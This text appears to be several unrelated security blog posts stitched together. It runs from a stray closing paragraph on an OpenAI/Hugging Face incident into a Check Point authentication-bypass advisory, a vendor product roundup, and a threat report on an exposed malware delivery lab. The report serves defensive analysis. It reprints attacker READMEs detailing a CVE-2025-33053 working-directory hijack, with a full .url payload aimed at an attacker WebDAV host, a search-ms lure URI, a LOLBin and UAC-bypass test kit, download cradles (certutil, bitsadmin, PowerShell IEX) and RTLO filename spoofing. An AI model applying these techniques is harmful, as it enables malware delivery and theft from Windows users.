The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Technical analysis

On July 28, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-16232. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to login to a vulnerable appliance via SmartConsole with full admin privileges.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

• R82.10: fixed in Jumbo Hotfix Take 36 and later

• R82: fixed in Jumbo Hotfix Take 118 and later

• R81.20: fixed in Jumbo Hotfix Take 158 and later

• R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

• Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

• Protect Management access with a firewall and restrict access to trusted IP addresses

• Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

• 151.241.99[.]207

• 151.241.99[.]233

• 158.62.198[.]182

• 192.142.10[.]99

• 139.28.37[.]250

• 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

• July 23, 2026: Initial publication.
• July 24, 2026: Updated to reflect availability of vulnerability checks.
• July 28, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

• NIST CSF 2.0

• HIPAA

• HITRUST

• NIS2

• GovRAMP

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

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Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
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The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

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The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

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It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

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Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

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The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the final payload was PureRAT 4.4.3, a .NET-based information stealer and remote access trojan.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

